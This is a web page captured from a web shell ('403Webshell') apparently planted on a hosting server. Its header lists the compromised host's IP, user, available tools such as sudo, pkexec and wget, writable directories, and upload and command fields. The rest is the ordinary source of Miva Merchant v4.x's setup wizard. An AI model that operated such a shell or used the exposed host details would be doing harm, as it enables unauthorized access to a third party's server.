403Webshell
Server IP : 216.92.14.13  /  Your IP : 216.73.217.126
Web Server : Apache
System : Linux vps4089.pairvps.com 5.15.0-190-generic #200-Ubuntu SMP Fri Aug 7 15:06:04 UTC 2026 x86_64
User : rmlac2fmr ( 1040637)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/home/rmlac2fmr/public_html/Merchant2/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/home/rmlac2fmr/public_html/Merchant2/setup.mv
<HTML><MIVA STANDARDOUTPUTLEVEL = "text, html, compresswhitespace">

<IF version LT 3.91>
	<HEAD><TITLE>Miva Engine Version Mismatch</TITLE></HEAD>
	<BODY BGCOLOR = "#ffffff">
	<FONT FACE = "Arial, Helvetica" SIZE = "-1">
	Miva Merchant requires the Miva Engine, version <B>3.91</B> or higher.<BR>
	You are running version <B><EVAL version></B><BR>
	<BR>
	Please contact <A HREF = "http://www.miva.com">Miva Corporation</A> for upgrade information.
	</FONT>
	</BODY>
</HTML>
	<EXIT>
</IF>

<MvCOMMENT>
|
| Miva Merchant v4.x
|
| This file and the source codes contained herein are the property 
| of Miva Corporation.  Use of this file is restricted to the specific 
| terms and conditions in the License Agreement associated with this 
| file.  Distribution of this file or portions of this file for uses
| not covered by the License Agreement is not allowed without a written 
| agreement signed by an officer of Miva Corporation.
| 
| Copyright 1998-2001 Miva Corporation.  All rights reserved.
| http://www.miva.com/
|
| Setup Wizard
| $Source: /home/cvs/merchant/Merchant/setup.mv,v $
|
| Prefix         : MER-SET-
| Next Error Code: 7    
| Next Text ID   : 168  
|
</MvCOMMENT>

<MvDO FILE = "4.00/lib/config.mv">
<MvASSIGN NAME = "g.Setup_Filename_Admin" VALUE = "{ g.Version_Path $ g.Filename_Admin }">
<MvASSIGN NAME = "g.Setup_Library_Utilities" VALUE = "{ g.Version_Path $ g.Library_Utilities }">
<MvASSIGN NAME = "g.Setup_Library_DB" VALUE = "{ g.Version_Path $ g.Library_DB }">
<MvASSIGN NAME = "g.Setup_Version" VALUE = "{ g.Version_Path $ g.Filename_Version }">


<MvASSIGN NAME = "l.ok" VALUE = "1">
<MvASSIGN NAME = "g.sessionurl" VALUE = "{ s.documenturl }">

<MvIF EXPR = "{ fexists( g.MerchantPath $ '/install.log' ) }">
	<HEAD><TITLE>
	<MvLOCALIZED ID = "MER-SET-00001">
		<MvLOCALIZED-TOKEN NAME = "merc-vers" VALUE = "{ encodeentities( g.Merchant_Version ) }">
		<MvLOCALIZED-TEXT LANGUAGE = "en-US">Miva Merchant v%merc-vers% Setup: Already Configured</MvLOCALIZED-TEXT>
		<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Miva Merchant v%merc-vers% Setup: Bereits konfiguriert</MvLOCALIZED-TEXT>
	</MvLOCALIZED>
	</TITLE></HEAD>

	<BODY BGCOLOR = "#ffffff">

	<TABLE BORDER = 0 CELLPADDING = 0 CELLSPACING = 0 WIDTH = "50%">
	<TR><TD ALIGN = "left">
		<FONT FACE = "Arial, Helvetica">
		<B>
	<MvLOCALIZED ID = "MER-SET-00002">
	<MvLOCALIZED-TOKEN NAME = "merc-vers" VALUE = "{ encodeentities( g.Merchant_Version ) }">
		<MvLOCALIZED-TEXT LANGUAGE = "en-US">Miva Merchant v%merc-vers% Setup</MvLOCALIZED-TEXT>
		<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Miva Merchant v%merc-vers% Setup</MvLOCALIZED-TEXT>
	</MvLOCALIZED>
	</B></FONT>
	</TD></TR>

	<TR><TD>
		&nbsp;
	</TD></TR>

	<TR><TD ALIGN = "left">
		<FONT FACE = "Arial, Helvetica" SIZE = "-1">
		<MvLOCALIZED ID = "MER-SET-00003">
			<MvLOCALIZED-TOKEN NAME = "merc-vers" VALUE = "{ encodeentities( g.Merchant_Version ) }">
			<MvLOCALIZED-TOKEN NAME = "merc-path" VALUE = "{ encodeentities( g.MerchantPath ) }">
			<MvLOCALIZED-TEXT LANGUAGE = "en-US">
				Miva Merchant v%merc-vers% Setup has detected that Miva Merchant has already been
				initialized on your system.  If you wish to re-initialize the data files,
				please remove the <B>%merc-path%</B> subdirectory
				and its contents from your Miva data directory, and re-run this script.
			</MvLOCALIZED-TEXT>
			<MvLOCALIZED-TEXT LANGUAGE = "de-DE">
				Miva Merchant v%merc-vers% Setup hat festgestellt, dass Miva Merchant bereits auf
				Ihrem System initialisiert wurde. Wenn Sie die Datendateien erneut initialisieren
				m�chten, l�schen Sie bitte das Unterverzeichnis <B>%merc-path%</B> und seinen 
				Inhalt in Ihrem Miva Datenverzeichnis und starten Sie dieses Skript neu.
			</MvLOCALIZED-TEXT>
		</MvLOCALIZED>
		</FONT>
	</TD></TR>
	</TABLE>
	</BODY>
<MvELSE>
	<MvCOMMENT>
		
		The "site.dat" ISP configuration file, if it exists, is a pipe ( '|' ) delimited file containing information
		about site settings for Miva Merchant. The position of the values is as follows:
		
		1. Product										= "g.Site_Install_Product"
		2. License Number								= "g.Site_Install_License"
		3. Presence of the "Site Configuration" steps	= "g.Site_Install_Display_Site_Steps" ( Yes/No )
		4. URL to Miva Merchant 						= "g.Site_Install_MivaMerchantURL"
		5. Secure URL to Miva Merchant 					= "g.Site_Install_MivaMerchantSecureURL" ( Can be null )
		6. Secure URL to Miva Merchant Administration 	= "g.Site_Install_URL_Admin_Secure" ( Can be null )
		7. Root Directory for Graphics 					= "g.Site_Install_ImageRoot"
		8. Base URL for Graphics 						= "g.Site_Install_URL_Base"
		9. Secure Base URL for Graphics 				= "g.Site_Install_URL_Base_Secure" ( Can be null )
		10. Root Directory for Modules 					= "g.Site_Install_Module_Root"
		11. Secure Root Directory for Modules 			= "g.Site_Install_Module_Root_Secure" ( Can be null )
		12. Mail Server 								= "g.Site_Install_MailHost"
		13. Mail Server requires angle brackets 		= "g.Site_Install_Mail_AddAngleBrackets" ( Yes/No )

		The following fields were added in 4.00.  For backwards compatability, they can all be blank.  If and are included, then they are all edited:
		
		14. Language									= "g.Site_Install_LanguageCode" ( e.g., "en-US" Optional )
		15. Display Setup Screens						= "g.Site_Install_Display_Setup_Steps" ( Yes/No ) if 'No' then no setup screen will be displayed.
		
		If 15 is Yes, then the following edits are skipped  and the following are simply loaded in as default values without editing.
		
		If 15 is not Yes, then the following edits are performed, and a edit failure triggers BAD Site.dat handling.
		
		Remember that if fields 14+ are all blank, this is all skipped
		
		16. Accept EULA									= "g.Site_Install_Accept_EULA" ( Yes/No )
		17. Domain Owner Name							= "g.Site_Install_Domain_Owner" ( Required )
		18. Domain Owner Email							= "g.Site_Install_Domain_Email" ( Validated )
		19. Domain Owner Company						= "g.Site_Install_Domain_Company" ( Optional )
		20. Domain Owner Address						= "g.Site_Install_Domain_Address" ( Required )
		21.	Domain Owner City							= "g.Site_Install_Domain_City" ( Required )
		22. Domain Owner State							= "g.Site_Install_Domain_State" ( Required if country is US)
		23. Domain Owner Zip							= "g.Site_Install_Domain_Zip" ( Validated )
		24. Domain Owner Country						= "g.Site_Install_Domain_Country" ( Required )
		25. Domain Owner Phone							= "g.Site_Install_Domain_Phone" ( Validated )
		26. Domain Owner Fax							= "g.Site_Install_Domain_Fax" ( Option, validated if Present )
		27. Administrator User Name						= "g.Site_Install_User_Name" ( Required )
		28. Administrator Password						= "g.Site_Install_User_Password" ( Required )


	</MvCOMMENT>

	<MvIF EXPR = "{ NOT g.Have_Fields }">	
		<MvIF EXPR = "{ NOT g.ISP_Defaults }">
			<MvIF EXPR = "{ fexists( 'site.dat' ) }">
				<MvIMPORT 	FILE = "site.dat"
							FIELDS = "g.Site_Install_Product,
									  g.Site_Install_License,
									  g.Site_Install_Display_Site_Steps,
									  g.Site_Install_MivaMerchantURL,
									  g.Site_Install_MivaMerchantSecureURL,
									  g.Site_Install_URL_Admin_Secure,
									  g.Site_Install_ImageRoot,
									  g.Site_Install_URL_Base,
									  g.Site_Install_URL_Base_Secure,
									  g.Site_Install_Module_Root,
									  g.Site_Install_Module_Root_Secure,
									  g.Site_Install_MailHost,
									  g.Site_Install_Mail_AddAngleBrackets,
									  
									  g.Site_Install_LanguageCode,
									  g.Site_Install_Display_Setup_Steps,
									  g.Site_Install_Accept_EULA,
									  g.Site_Install_Domain_Owner,
									  g.Site_Install_Domain_Email,
									  g.Site_Install_Domain_Company,
									  g.Site_Install_Domain_Address,
									  g.Site_Install_Domain_City,
									  g.Site_Install_Domain_State,
									  g.Site_Install_Domain_Zip,
									  g.Site_Install_Domain_Country,
									  g.Site_Install_Domain_Phone,
									  g.Site_Install_Domain_Fax,
									  g.Site_Install_User_Name,
									  g.Site_Install_User_Password,
									  g.Site_Install_XML_Response"
							DELIMITER = "|">
					<MvASSIGN NAME = "g.Site_Install_Product" VALUE = "{ ltrim( rtrim( g.Site_Install_Product ) ) }">
			
					<MvIF EXPR = "{ toupper( g.Site_Install_Product ) EQ 'MERCHANT' }">
						<MvASSIGN name = "g.ISP_Defaults" VALUE = "{ SetISPDefaults() }">					
						<MvIMPORTSTOP>
					</MvIF>
				</MvIMPORT>	
			<MvELSE>
				<MvASSIGN NAME = "g.ISP_Defaults" VALUE = "NO">
			</MvIF>
		</MvIF>
	
		<MvASSIGN NAME = "l.ok" VALUE = "{ DetectURLs() }">
<MvCOMMENT> Install_Display_Site_Steps controls the display of steps 6, 7, and 8. </MvCOMMENT>
		<MvASSIGN NAME = "g.Install_Display_Site_Steps" VALUE = "{ g.Site_Install_Display_Site_Steps }">
		<MvASSIGN NAME = "g.Install_Display_Setup_Steps" VALUE = "{ g.Site_Install_Display_Setup_Steps }">
		
<MvCOMMENT> Step 1 Load Fileds </MvCOMMENT>
		<MvIF EXPR = "{ g.ISP_Defaults EQ 'YES' }">
			<MvASSIGN NAME = "g.Install_LanguageCode" VALUE = "{ g.Site_Install_LanguageCode }">
		<MvELSE>
			<MvIF EXPR = "{ sexists( g.Version_Path $ 'LANGUAGE.lst' ) }">

				<MvASSIGN NAME = "l.foo" VALUE = "{ sfcopy( g.Version_Path $ 'LANGUAGE.lst', 'LANGUAGE.lst' ) }">
				
				<MvASSIGN NAME = "g.Install_Language_Count" VALUE = "0">

				<MvIMPORT FILE = "LANGUAGE.lst" FIELDS = "l.product,l.code,l.language,l.prompt" DELIMITER = "|">
					<MvIF EXPR = "{ l.product EQ 'Merchant' }">
						<MvASSIGN NAME = "g.Install_Language_Count" VALUE = "{ g.Install_Language_Count + 1 }">
						
						<MvASSIGN NAME = "g.Install_Language" INDEX = "{ g.Install_Language_Count }" MEMBER = "Code" VALUE = "{ l.code }">
						<MvASSIGN NAME = "g.Install_Language" INDEX = "{ g.Install_Language_Count }" MEMBER = "Language" VALUE = "{ l.language }">
						<MvASSIGN NAME = "g.Install_Language" INDEX = "{ g.Install_Language_Count }" MEMBER = "Prompt" VALUE = "{ l.prompt }">
					</MvIF>
				</MvIMPORT>
				<MvASSIGN NAME = "l.foo" VALUE = "{ fdelete( 'LANGUAGE.lst' ) }">
				<MvIF EXPR = "{ g.Install_Language_Count EQ 1 }">
					<MvASSIGN NAME = "g.Install_LanguageCode" VALUE = "{ g.Install_Language[1]:Code }">
				<MvELSE>
					<MvASSIGN NAME = "g.Install_LanguageCode" VALUE = "{ s.miva_language }">
				</MvIF>
			<MvELSE>
				<MvASSIGN NAME = "g.Install_LanguageCode" VALUE = "{ s.miva_language }">
			</MvIF>
		</MvIF>

<MvCOMMENT> Step 2 Load Fields </MvCOMMENT>
		<MvIF EXPR = "{ (g.ISP_Defaults EQ 'YES') AND (substring( toupper( g.Site_Install_Accept_EULA ), 1, 1 ) EQ 'Y') }">
			<MvASSIGN NAME = "g.Install_Accept_EULA" VALUE = "Yes">
		<MvELSE>
			<MvASSIGN NAME = "g.Install_Accept_EULA" VALUE = "">
		</MvIF>

<MvCOMMENT> Step 3 Load Fields </MvCOMMENT>
		<MvIF EXPR = "{ g.ISP_Defaults EQ 'YES' }">
			<MvASSIGN NAME = "g.Install_Domain_License" VALUE = "{ g.Site_Install_License }">
		<MvELSE>
			<MvASSIGN NAME = "g.Install_Domain_License" VALUE = "">
		</MvIF>

<MvCOMMENT> Step 4 Load Fields </MvCOMMENT>
		<MvASSIGN NAME = "g.Install_Domain_Name" VALUE = "{ s.server_name }">

<MvCOMMENT> Step 5 Load Fields </MvCOMMENT>
		<MvIF EXPR = "{ g.ISP_Defaults EQ 'YES' }">
			<MvASSIGN NAME = "g.Install_Domain_Owner" VALUE = "{ g.Site_Install_Domain_Owner }">
			<MvASSIGN NAME = "g.Install_Domain_Email" VALUE = "{ g.Site_Install_Domain_Email }">
			<MvASSIGN NAME = "g.Install_Domain_Company" VALUE = "{ g.Site_Install_Domain_Company }">
			<MvASSIGN NAME = "g.Install_Domain_Address" VALUE = "{ g.Site_Install_Domain_Address }">
			<MvASSIGN NAME = "g.Install_Domain_City" VALUE = "{ g.Site_Install_Domain_City }">
			<MvASSIGN NAME = "g.Install_Domain_Use_State" VALUE = "{ g.Site_Install_Domain_Use_State }">
			<MvASSIGN NAME = "g.Install_Domain_StateSelect" VALUE = "{ g.Site_Install_Domain_StateSelect }">
			<MvASSIGN NAME = "g.Install_Domain_State" VALUE = "{ g.Site_Install_Domain_State }">
			<MvASSIGN NAME = "g.Install_Domain_Zip" VALUE = "{ g.Site_Install_Domain_Zip }">
			<MvASSIGN NAME = "g.Install_Domain_Country" VALUE = "{ g.Site_Install_Domain_Country }">
			<MvASSIGN NAME = "g.Install_Domain_Phone" VALUE = "{ g.Site_Install_Domain_Phone }">
			<MvASSIGN NAME = "g.Install_Domain_Fax" VALUE = "{ g.Site_Install_Domain_Fax }">
		<MvELSE>
			<MvASSIGN NAME = "g.Install_Domain_Owner" VALUE = "">
			<MvASSIGN NAME = "g.Install_Domain_Email" VALUE = "">
			<MvASSIGN NAME = "g.Install_Domain_Company" VALUE = "">
			<MvASSIGN NAME = "g.Install_Domain_Address" VALUE = "">
			<MvASSIGN NAME = "g.Install_Domain_City" VALUE = "">
			<MvASSIGN NAME = "g.Install_Domain_Use_State" VALUE = "">
			<MvASSIGN NAME = "g.Install_Domain_StateSelect" VALUE = "">
			<MvASSIGN NAME = "g.Install_Domain_State" VALUE = "">
			<MvASSIGN NAME = "g.Install_Domain_Zip" VALUE = "">
			<MvASSIGN NAME = "g.Install_Domain_Country" VALUE = "">
			<MvASSIGN NAME = "g.Install_Domain_Phone" VALUE = "">
			<MvASSIGN NAME = "g.Install_Domain_Fax" VALUE = "">
		</MvIF>


<MvCOMMENT> Step 6 Load Fields </MvCOMMENT>
		<MvASSIGN NAME = "g.Install_MivaMerchantURL" VALUE = "">
		<MvASSIGN NAME = "g.Install_URL_Merchant_Use_Detected" VALUE = "Yes">
		<MvASSIGN NAME = "g.Install_Module_Root" VALUE = "">
		<MvASSIGN NAME = "g.Install_Module_Root_Use_Detected" VALUE = "Yes">
		<MvASSIGN NAME = "g.Install_URL_Base" VALUE = "">
		<MvASSIGN NAME = "g.Install_URL_Base_Use_Detected" VALUE = "Yes">
		<MvASSIGN NAME = "g.Install_ImageRoot" VALUE = "">
		<MvASSIGN NAME = "g.Install_Image_Root_Use_Detected" VALUE = "Yes">

<MvCOMMENT> Step 7 Load Fields </MvCOMMENT>
		<MvIF EXPR = "{ NOT len( ltrim( rtrim( g.Install_URL_Merchant_Secure_Detected ) ) ) OR g.ISP_Defaults NE 'YES' }">
			<MvASSIGN NAME = "g.Install_URL_Merchant_Secure_Use_Detected" VALUE = "None">
		<MvELSE>
			<MvASSIGN NAME = "g.Install_URL_Merchant_Secure_Use_Detected" VALUE = "Detected">
		</MvIF>
		<MvASSIGN NAME = "g.Install_MivaMerchantSecureURL" VALUE = "">

		<MvIF EXPR = "{ NOT len( ltrim( rtrim( g.Install_URL_Admin_Secure_Detected ) ) ) OR g.ISP_Defaults NE 'YES' }">
			<MvASSIGN NAME = "g.Install_URL_Admin_Secure_Use_Detected" VALUE = "None">
		<MvELSE>
			<MvASSIGN NAME = "g.Install_URL_Admin_Secure_Use_Detected" VALUE = "Detected">
		</MvIF>
		<MvASSIGN NAME = "g.Install_URL_Admin_Secure" VALUE = "">

		<MvIF EXPR = "{ NOT len( ltrim( rtrim( g.Install_Module_Root_Secure_Detected ) ) ) OR g.ISP_Defaults NE 'YES' }">
			<MvASSIGN NAME = "g.Install_Module_Root_Secure_Use_Detected" VALUE = "None">
		<MvELSE>
			<MvASSIGN NAME = "g.Install_Module_Root_Secure_Use_Detected" VALUE = "Detected">
		</MvIF>
		<MvASSIGN NAME = "g.Install_Module_Root_Secure" VALUE = "">

		<MvIF EXPR = "{ NOT len( ltrim( rtrim( g.Install_URL_Base_Secure_Detected ) ) ) OR g.ISP_Defaults NE 'YES' }">
			<MvASSIGN NAME = "g.Install_URL_Base_Secure_Use_Detected" VALUE = "None">
		<MvELSE>
			<MvASSIGN NAME = "g.Install_URL_Base_Secure_Use_Detected" VALUE = "Detected">
		</MvIF>
		<MvASSIGN NAME = "g.Install_URL_Base_Secure" VALUE = "">

<MvCOMMENT> Step 8 Load Fields </MvCOMMENT>
		<MvIF EXPR = "{ g.ISP_Defaults EQ 'YES' }">
			<MvIF EXPR = "{ len( g.Site_Install_MailHost ) }">
				<MvASSIGN NAME = "g.Install_MailHost" VALUE = "{ g.Site_Install_MailHost }">
			</MvIF>
			<MvIF EXPR = "{ substring( toupper( g.Site_Install_Mail_AddAngleBrackets ), 1, 1 ) EQ 'Y' }">
				<MvASSIGN NAME = "g.Install_Mail_AddAngleBrackets" VALUE = "Yes">
			<MvELSE>
				<MvASSIGN NAME = "g.Install_Mail_AddAngleBrackets" VALUE = "">
			</MvIF>
		<MvELSE>
			<MvASSIGN NAME = "g.Install_Mail_AddAngleBrackets" VALUE = "Yes">
			<MvASSIGN NAME = "g.Install_MailHost" VALUE = "">
		</MvIF>

<MvCOMMENT> Step 9 Load Fields </MvCOMMENT>
		<MvIF EXPR = "{ g.ISP_Defaults EQ 'YES' }">
			<MvASSIGN NAME = "g.Install_User_Name" VALUE = "{ g.Site_Install_User_Name }">
			<MvASSIGN NAME = "g.Install_User_Password" VALUE = "{ g.Site_Install_User_Password }">
			<MvASSIGN NAME = "g.Install_User_VerifyPassword" VALUE = "{ g.Site_Install_User_Password }">
		<MvELSE>
			<MvASSIGN NAME = "g.Install_User_Name" VALUE = "">
			<MvASSIGN NAME = "g.Install_User_Password" VALUE = "">
			<MvASSIGN NAME = "g.Install_User_VerifyPassword" VALUE = "">
		</MvIF>
		<MvASSIGN NAME = "g.Have_Fields" VALUE = "1">
	</MvIF>

	<MvIF EXPR = "{ len( g.Screen ) EQ 0 }">
		<MvASSIGN NAME = "g.Screen" VALUE = "WIZZ">
	</MvIF>
	
	<MvIF EXPR = "{ ( toupper( g.Install_Display_Setup_Steps ) EQ 'NO' ) AND ( g.ISP_Defaults EQ 'YES' ) }">
		<MvASSIGN NAME = "g.Action" VALUE = "WIZZ">
		<MvASSIGN NAME = "g.Screen" VALUE = "DONE">
	<MvELSE>
		<MvIF EXPR = "{ len( g.Screen ) EQ 0 }">
			<MvASSIGN NAME = "g.Screen" VALUE = "WIZZ">
		</MvIF>
	</MvIF>
	
	<MvIF EXPR = "{ g.Action EQ 'WIZZ' }">
		<MvASSIGN NAME = "l.ok" VALUE = "{ Action_Setup() }">
	</MvIF>

	<MvIF EXPR = "{ ( toupper( g.Site_Install_XML_Response ) EQ 'YES' ) }">
		<MvEVAL EXPR = "{ Screen_XML() }">
	<MvELSE>	
		<MvIF EXPR = "{ l.ok }">
			<MvIF EXPR = "{ g.Data_Entry_Error OR g.Have_Fields }">
				<MvASSIGN NAME = "g.Load_Fields" VALUE = 0>
			<MvELSE>
				<MvASSIGN NAME = "g.Load_Fields" VALUE = 1>
			</MvIF>

			<MvIF EXPR = "{ NOT g.Step }">
				<MvASSIGN NAME = "g.Step" VALUE = "1">
			</MvIF>

			<MvIF EXPR = "{ g.Screen EQ 'WIZZ' }">
				<MvASSIGN NAME = "l.ok" VALUE = "{ Screen_Setup() }">
			</MvIF>

			<MvIF EXPR = "{ g.Screen EQ 'DONE' }">
				<MvASSIGN NAME = "l.ok" VALUE = "{ Screen_Done() }">
			</MvIF>
		</MvIF>

		<MvIF EXPR = "{ NOT l.ok }">
			<MvIF EXPR = "{ len( g.Error_Message ) EQ 0 }">
				<MvIF EXPR = "{ len( g.Error_Field_Message ) NE 0 }">
					<MvASSIGN NAME = "l.error" VALUE = "{ g.Error_Field_Message }">
				<MvELSE>				
					<MvLOCALIZED NAME = "l.error" ID = "MER-SET-00004">
						<MvLOCALIZED-TOKEN NAME = "action" VALUE = "{ encodeentities( g.Action ) }">
						<MvLOCALIZED-TOKEN NAME = "screen" VALUE = "{ encodeentities( g.Screen ) }">
						<MvLOCALIZED-TEXT LANGUAGE = "en-US">
							<B>Unknown Error</B><BR><BR>&nbsp;&nbsp;Action = %action%<BR>&nbsp;&nbsp;Screen = %screen%
						</MvLOCALIZED-TEXT>
						<MvLOCALIZED-TEXT LANGUAGE = "de-DE">
							<B>Unbekannter Fehler</B><BR><BR>&nbsp;&nbsp;Ausf�hrung = %action%<BR>&nbsp;&nbsp;Bildschirm = %screen%
						</MvLOCALIZED-TEXT>
					</MvLOCALIZED>
				</MvIF>			

				<MvDO FILE = "{ g.Setup_Library_Utilities }" NAME = "l.ok" VALUE = "{ Error( 'MER-SET-00001', l.error ) }">
			</MvIF>

			<MvDO FILE = "{ g.Setup_Library_Utilities }" NAME = "l.ok" VALUE = "{ Screen_Error() }">
		</MvIF>
	</MvIF>
</MvIF>
</HTML>
<MvEXIT>

<MvFUNCTION NAME = "SetISPDefaults" STANDARDOUTPUTLEVEL = "">
	<MvASSIGN NAME = "l.isp_defaults" VALUE = "YES">

	<MvASSIGN NAME = "g.Site_Install_License" VALUE = "{ ltrim( rtrim( g.Site_Install_License ) ) }">
	<MvASSIGN NAME = "g.Site_Install_Display_Site_Steps" VALUE = "{ ltrim( rtrim( g.Site_Install_Display_Site_Steps ) ) }">
	<MvASSIGN NAME = "g.Site_Install_MivaMerchantURL" VALUE = "{ ltrim( rtrim( g.Site_Install_MivaMerchantURL ) ) }">
	<MvASSIGN NAME = "g.Site_Install_MivaMerchantSecureURL" VALUE = "{ ltrim( rtrim( g.Site_Install_MivaMerchantSecureURL ) ) }">
	<MvASSIGN NAME = "g.Site_Install_URL_Admin_Secure" VALUE = "{ ltrim( rtrim( g.Site_Install_URL_Admin_Secure ) ) }">
	<MvASSIGN NAME = "g.Site_Install_ImageRoot" VALUE = "{ ltrim( rtrim( g.Site_Install_ImageRoot ) ) }">
	<MvASSIGN NAME = "g.Site_Install_URL_Base" VALUE = "{ ltrim( rtrim( g.Site_Install_URL_Base ) ) }">
	<MvASSIGN NAME = "g.Site_Install_URL_Base_Secure" VALUE = "{ ltrim( rtrim( g.Site_Install_URL_Base_Secure ) ) }">
	<MvASSIGN NAME = "g.Site_Install_Module_Root" VALUE = "{ ltrim( rtrim( g.Site_Install_Module_Root ) ) }">
	<MvASSIGN NAME = "g.Site_Install_Module_Root_Secure" VALUE = "{ ltrim( rtrim( g.Site_Install_Module_Root_Secure ) ) }">
	<MvASSIGN NAME = "g.Site_Install_MailHost" VALUE = "{ ltrim( rtrim( g.Site_Install_MailHost ) ) }">
	<MvASSIGN NAME = "g.Site_Install_Mail_AddAngleBrackets" VALUE = "{ ltrim( rtrim( g.Site_Install_Mail_AddAngleBrackets ) ) }">

	<MvASSIGN NAME = "g.Site_Install_LanguageCode" VALUE = "{ ltrim( rtrim( g.Site_Install_LanguageCode ) ) }">
	<MvASSIGN NAME = "g.Site_Install_Display_Setup_Steps" VALUE = "{ ltrim( rtrim( g.Site_Install_Display_Setup_Steps ) ) }">
	<MvASSIGN NAME = "g.Site_Install_Accept_EULA" VALUE = "{ ltrim( rtrim( g.Site_Install_Accept_EULA ) ) }">
	<MvASSIGN NAME = "g.Site_Install_Domain_Owner" VALUE = "{ ltrim( rtrim( g.Site_Install_Domain_Owner ) ) }">
	<MvASSIGN NAME = "g.Site_Install_Domain_Email" VALUE = "{ ltrim( rtrim( g.Site_Install_Domain_Email ) ) }">
	<MvASSIGN NAME = "g.Site_Install_Domain_Company" VALUE = "{ ltrim( rtrim( g.Site_Install_Domain_Company ) ) }">
	<MvASSIGN NAME = "g.Site_Install_Domain_Address" VALUE = "{ ltrim( rtrim( g.Site_Install_Domain_Address ) ) }">
	<MvASSIGN NAME = "g.Site_Install_Domain_City" VALUE = "{ ltrim( rtrim( g.Site_Install_Domain_City ) ) }">
	<MvASSIGN NAME = "g.Site_Install_Domain_State" VALUE = "{ ltrim( rtrim( g.Site_Install_Domain_State ) ) }">
	<MvASSIGN NAME = "g.Site_Install_Domain_Zip" VALUE = "{ ltrim( rtrim( g.Site_Install_Domain_Zip ) ) }">
	<MvASSIGN NAME = "g.Site_Install_Domain_Country" VALUE = "{ ltrim( rtrim( g.Site_Install_Domain_Country ) ) }">
	<MvASSIGN NAME = "g.Site_Install_Domain_Phone" VALUE = "{ ltrim( rtrim( g.Site_Install_Domain_Phone ) ) }">
	<MvASSIGN NAME = "g.Site_Install_Domain_Fax" VALUE = "{ ltrim( rtrim( g.Site_Install_Domain_Fax ) ) }">
	<MvASSIGN NAME = "g.Site_Install_User_Name" VALUE = "{ ltrim( rtrim( g.Site_Install_User_Name ) ) }">
	<MvASSIGN NAME = "g.Site_Install_User_Password" VALUE = "{ ltrim( rtrim( g.Site_Install_User_Password ) ) }">
	<MvIF EXPR = "{ substring( toupper( g.Site_Install_Display_Setup_Steps ), 1, 1 ) EQ 'Y' }">
		<MvASSIGN NAME = "g.Site_Install_XML_Response" VALUE = "">
	<MvELSE>
		<MvIF EXPR = "{ substring( toupper( g.Site_Install_XML_Response ), 1, 1 ) EQ 'Y' }">
			<MvASSIGN NAME = "g.Site_Install_XML_Response" VALUE = "YES">
		</MvIF>
		
	</MvIF>



	<MvASSIGN NAME = "g.Site_Install_Error" VALUE = "">

	<MvIF EXPR = "{ len( g.Site_Install_MivaMerchantURL ) EQ 0 }">
		<MvASSIGN NAME = "l.isp_defaults" VALUE = "BAD">
		<MvIF EXPR = "{ toupper( g.Site_Install_XML_Response ) EQ 'YES'}">
			<MvLOCALIZED NAME = "g.Site_Install_Error" ID = "MER-SET-00145">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US">Please enter the URL to Miva Merchant</MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bitte geben Sie den URL von Miva Merchant ein</MvLOCALIZED-TEXT>
			</MvLOCALIZED>
			<MvFUNCTIONRETURN VALUE = "BAD">
		</MvIF>
	</MvIF>

	<MvIF EXPR = "{ len( g.Site_Install_ImageRoot ) EQ 0 }">
		<MvASSIGN NAME = "l.isp_defaults" VALUE = "BAD">
		<MvIF EXPR = "{ toupper( g.Site_Install_XML_Response ) EQ 'YES'}">
			<MvLOCALIZED NAME = "g.Site_Install_Error" ID = "MER-SET-00146">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US">Please enter the root directory for graphics</MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bitte geben Sie das Hauptverzeichnis f�r Grafiken ein</MvLOCALIZED-TEXT>
			</MvLOCALIZED>
			<MvFUNCTIONRETURN VALUE = "BAD">
		</MvIF>
	<MvELSE>
		<MvIF EXPR = "{ ( '/' IN g.Site_Install_ImageRoot ) NE 1 }">
			<MvASSIGN NAME = "l.isp_defaults" VALUE = "BAD">
		<MvIF EXPR = "{ toupper( g.Site_Install_XML_Response ) EQ 'YES'}">
			<MvLOCALIZED NAME = "g.Site_Install_Error" ID = "MER-SET-00147">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US">The root directory for graphics MUST be an absolute path. (i.e. it MUST start with /)</MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bei dem Hauptverzeichnis f�r Grafiken MUSS es sich um einen absoluten Pfad handeln. (d.h., es MUSS mit/beginnen)</MvLOCALIZED-TEXT>
			</MvLOCALIZED>
			<MvFUNCTIONRETURN VALUE = "BAD">
		</MvIF>
		<MvELSE>
			<MvIF EXPR = "{ substring( g.Site_Install_ImageRoot, len( g.Site_Install_ImageRoot ), 1 ) NE '/' }">
				<MvASSIGN NAME = "g.Site_Install_ImageRoot" VALUE = "{ g.Site_Install_ImageRoot $ '/' }">
			</MvIF>
		</MvIF>
	</MvIF>

	<MvIF EXPR = "{ len( g.Site_Install_URL_Base ) EQ 0 }">
		<MvASSIGN NAME = "l.isp_defaults" VALUE = "BAD">
		<MvIF EXPR = "{ toupper( g.Site_Install_XML_Response ) EQ 'YES'}">
			<MvLOCALIZED NAME = "g.Site_Install_Error" ID = "MER-SET-00148">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US">Please enter the secure base URL for graphics</MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bitte geben Sie den gesicherten Basis-URL f�r Grafiken ein</MvLOCALIZED-TEXT>
			</MvLOCALIZED>
			<MvFUNCTIONRETURN VALUE = "BAD">
		</MvIF>
	</MvIF>

	<MvIF EXPR = "{ len( g.Site_Install_Module_Root ) EQ 0 }">
		<MvASSIGN NAME = "l.isp_defaults" VALUE = "BAD">
		<MvIF EXPR = "{ toupper( g.Site_Install_XML_Response ) EQ 'YES'}">
			<MvLOCALIZED NAME = "g.Site_Install_Error" ID = "MER-SET-00149">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US">Please enter the root directory for modules</MvLOCALIZED-TEXT>
